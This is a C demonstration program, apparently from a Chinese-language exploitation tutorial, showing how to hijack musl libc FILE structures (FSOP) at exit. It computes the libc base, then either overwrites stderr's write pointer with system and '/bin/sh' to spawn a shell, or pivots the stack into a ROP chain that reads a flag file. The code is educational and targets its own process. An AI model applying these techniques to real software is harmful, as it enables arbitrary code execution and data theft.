1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175
| #include "musl_util.h"
#define get_shell 1 #define orw 2
#define mode orw
char* flag = "./flag"; char* bin_sh = "/bin/sh"; size_t enough_space[0x100]; size_t fake_stack[0x40]; char flag_content[0x20];
int main(){ setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL);
printf_color(GREEN, UNDEFINED, "本程序用于演示musl libc的FSOP利用方式。\n"); printf_color(GREEN, UNDEFINED, "测试环境:ubuntu 22.04,musl版本:1.2.2。\n"); printf_color(GREEN, UNDEFINED, "与glibc相似,FSOP也是musl的一种重要的利用方式。\n"); printf_color(GREEN, UNDEFINED, "下面是musl libc中FILE结构体的定义:\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/internal/stdio_impl.h, line 21)\n"); printf_color(PURPLE, HIGHLIGHT, "struct _IO_FILE {\n" "\tunsigned flags;\n" "\tunsigned char *rpos, *rend;\n" "\t\033[1;31mint (*close)(FILE *);\n" "\033[1;" PURPLE "m" "\tunsigned char *wend, *wpos;\n" "\tunsigned char *mustbezero_1;\n" "\tunsigned char *wbase;\n" "\t\033[1;31msize_t (*read)(FILE *, unsigned char *, size_t);\n" "\033[1;" PURPLE "m" "\t\033[1;31msize_t (*write)(FILE *, const unsigned char *, size_t);\n" "\033[1;" PURPLE "m" "\t\033[1;31moff_t (*seek)(FILE *, off_t, int);\n" "\033[1;" PURPLE "m" "\tunsigned char *buf;\n" "\tsize_t buf_size;\n" "\tFILE *prev, *next;\n" "\tint fd;\n" "\tint pipe_pid;\n" "\tlong lockcount;\n" "\tint mode;\n" "\tvolatile int lock;\n" "\tint lbf;\n" "\tvoid *cookie;\n" "\toff_t off;\n" "\tchar *getln_buf;\n" "\tvoid *mustbezero_2;\n" "\tunsigned char *shend;\n" "\toff_t shlim, shcnt;\n" "\tFILE *prev_locked, *next_locked;\n" "\tstruct __locale_struct *locale;\n" "};\n\n");
printf_color(GREEN, UNDEFINED, "用红色标出的4行表示4个函数指针,这是我们利用的关键。\n"); printf_color(GREEN, UNDEFINED, "又注意到exit函数有调用链:exit->__stdio_exit->close_file。\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/stdio/__stdio_exit.c, line 16)\n"); printf_color(PURPLE, HIGHLIGHT, "void __stdio_exit(void)\n" "{\n" "\tFILE *f;\n" "\tfor (f=*__ofl_lock(); f; f=f->next) close_file(f);\n" "\tclose_file(__stdin_used);\n" "\tclose_file(__stdout_used);\n" "\tclose_file(__stderr_used);\n" "}\n\n");
printf_color(YELLOW, HIGHLIGHT, "(/src/stdio/__stdio_exit.c, line 8)\n"); printf_color(PURPLE, HIGHLIGHT, "static void close_file(FILE *f)\n" "{\n" "\tif (!f) return;\n" "\tFFINALLOCK(f);\n" "\tif (f->wpos != f->wbase) f->write(f, 0, 0);\n" "\tif (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);\n" "}\n\n");
printf_color(GREEN, UNDEFINED, "可以看到3个标准IO的FILE结构体都可能会调用write和seek函数。\n"); printf_color(GREEN, UNDEFINED, "如果能够修改这些函数指针的值,就能够执行任意代码。\n"); printf_color(GREEN, UNDEFINED, "因此无论如何,首先要做的就是获取libc的基地址。\n"); printf_color(GREEN, UNDEFINED, "我们就利用stderr标准错误FILE结构体的地址来获取。\n");
size_t stderr_addr = (size_t)stderr; printf_color(GREEN, UNDEFINED, "stderr的地址为:"); printf("\033[1;31m%#zx\n\033[0m", stderr_addr); printf_color(GREEN, UNDEFINED, "stderr在libc中的偏移量为0xAD080。\n"); size_t libc_base = stderr_addr - 0xAD080; printf_color(GREEN, UNDEFINED, "计算得到libc的基地址为:"); printf("\033[1;31m%#zx\n\n\033[0m", libc_base);
if(mode == get_shell){ printf_color(BLUE, HIGHLIGHT, "你选择了get shell模式。\n"); printf_color(GREEN, UNDEFINED, "在get shell模式中,我们需要修改stderr的3处内容:\n"); printf_color(RED, HIGHLIGHT, "1. 开头,需修改为字符串\"/bin/sh\"。\n"); printf_color(RED, HIGHLIGHT, "2. wpos或wbase,使得这两个值不等即可。\n"); printf_color(RED, HIGHLIGHT, "3. write函数指针,修改为system的地址。\n");
printf_color(GREEN, UNDEFINED, "需要注意调用write函数时,第一个参数是FILE结构体地址。\n"); printf_color(GREEN, UNDEFINED, "因此需要在FILE开头写字符串,从而get shell。\n");
size_t system_addr = (size_t)system; printf_color(GREEN, UNDEFINED, "system的地址为:"); printf("\033[1;31m%#zx\n\033[0m", system_addr); strcpy((char*)stderr_addr, "/bin/sh"); ((FILE*)stderr_addr)->wbase = (unsigned char*)1; ((FILE*)stderr_addr)->write = (size_t (*)(FILE*, const unsigned char*, size_t))system_addr;
printf_color(GREEN, UNDEFINED, "调教完成的stderr:\n"); print_binary((char*)stderr_addr, sizeof(struct _IO_FILE));
printf_color(GREEN, UNDEFINED, "最后只需要调用exit函数即可。\n"); exit(0); }else if(mode == orw){ printf_color(BLUE, HIGHLIGHT, "你选择了orw模式。\n"); printf_color(GREEN, UNDEFINED, "orw的利用方式较get shell要复杂一些。\n"); printf_color(GREEN, UNDEFINED, "但对于stderr而言还是只需要修改3个地方:\n"); printf_color(RED, HIGHLIGHT, "1. 偏移0x30处,修改为修改为新栈的地址。\n"); printf_color(RED, HIGHLIGHT, "2. wbase,偏移0x38,修改为第一个gadget的地址。\n"); printf_color(RED, HIGHLIGHT, "3. write函数指针,修改为栈迁移的gadget的地址。\n\n");
printf_color(GREEN, UNDEFINED, "在偏移0x789F5处有这样一个gadget:\n"); printf_color(RED, HIGHLIGHT, "0x00000000000789f5 : mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]\n"); printf_color(GREEN, UNDEFINED, "考虑到write函数调用的第一个参数为stderr地址,rdi=stderr地址。\n"); printf_color(GREEN, UNDEFINED, "按照上面的方案修改stderr,可以完美实现栈迁移。\n");
printf_color(GREEN, UNDEFINED, "准备伪造栈的地址为:"); printf("\033[1;31m%p\n\033[0m", fake_stack);
size_t pivot_gadget = libc_base + 0x789F5; size_t pop_rdi = libc_base + 0x152A1; size_t pop_rsi = libc_base + 0x1B0A1; size_t pop_rdx = libc_base + 0x2A50B;
((FILE*)stderr_addr)->mustbezero_1 = (unsigned char*)fake_stack; ((FILE*)stderr_addr)->wbase = (unsigned char*)pop_rdi; ((FILE*)stderr_addr)->write = (size_t (*)(FILE*, const unsigned char*, size_t))pivot_gadget;
printf_color(GREEN, UNDEFINED, "调教完成的stderr:\n"); print_binary((char*)stderr_addr, sizeof(struct _IO_FILE));
printf_color(GREEN, UNDEFINED, "一些有用的gadget:\n"); printf_color(BLUE, HIGHLIGHT, "pop rdi ; ret : "); printf("\033[1;" BLUE "m%#zx\n\033[0m", pop_rdi); printf_color(BLUE, HIGHLIGHT, "pop rsi ; ret : "); printf("\033[1;" BLUE "m%#zx\n\033[0m", pop_rsi); printf_color(BLUE, HIGHLIGHT, "pop rdx ; ret : "); printf("\033[1;" BLUE "m%#zx\n\033[0m", pop_rdx);
fake_stack[0] = (size_t)flag; fake_stack[1] = pop_rsi; fake_stack[2] = 0; fake_stack[3] = (size_t)open; fake_stack[4] = pop_rdi; fake_stack[5] = 3; fake_stack[6] = pop_rsi; fake_stack[7] = (size_t) flag_content; fake_stack[8] = (size_t) pop_rdx; fake_stack[9] = 0x20; fake_stack[10] = (size_t)read; fake_stack[11] = pop_rdi; fake_stack[12] = 1; fake_stack[13] = pop_rsi; fake_stack[14] = (size_t) flag_content; fake_stack[15] = (size_t) pop_rdx; fake_stack[16] = 0x20; fake_stack[17] = (size_t)write;
printf_color(GREEN, UNDEFINED, "新栈内容:\n"); print_binary((char*)fake_stack, 20 * 8);
printf_color(GREEN, UNDEFINED, "最后只需要调用exit函数即可。\n"); exit(0); } }
|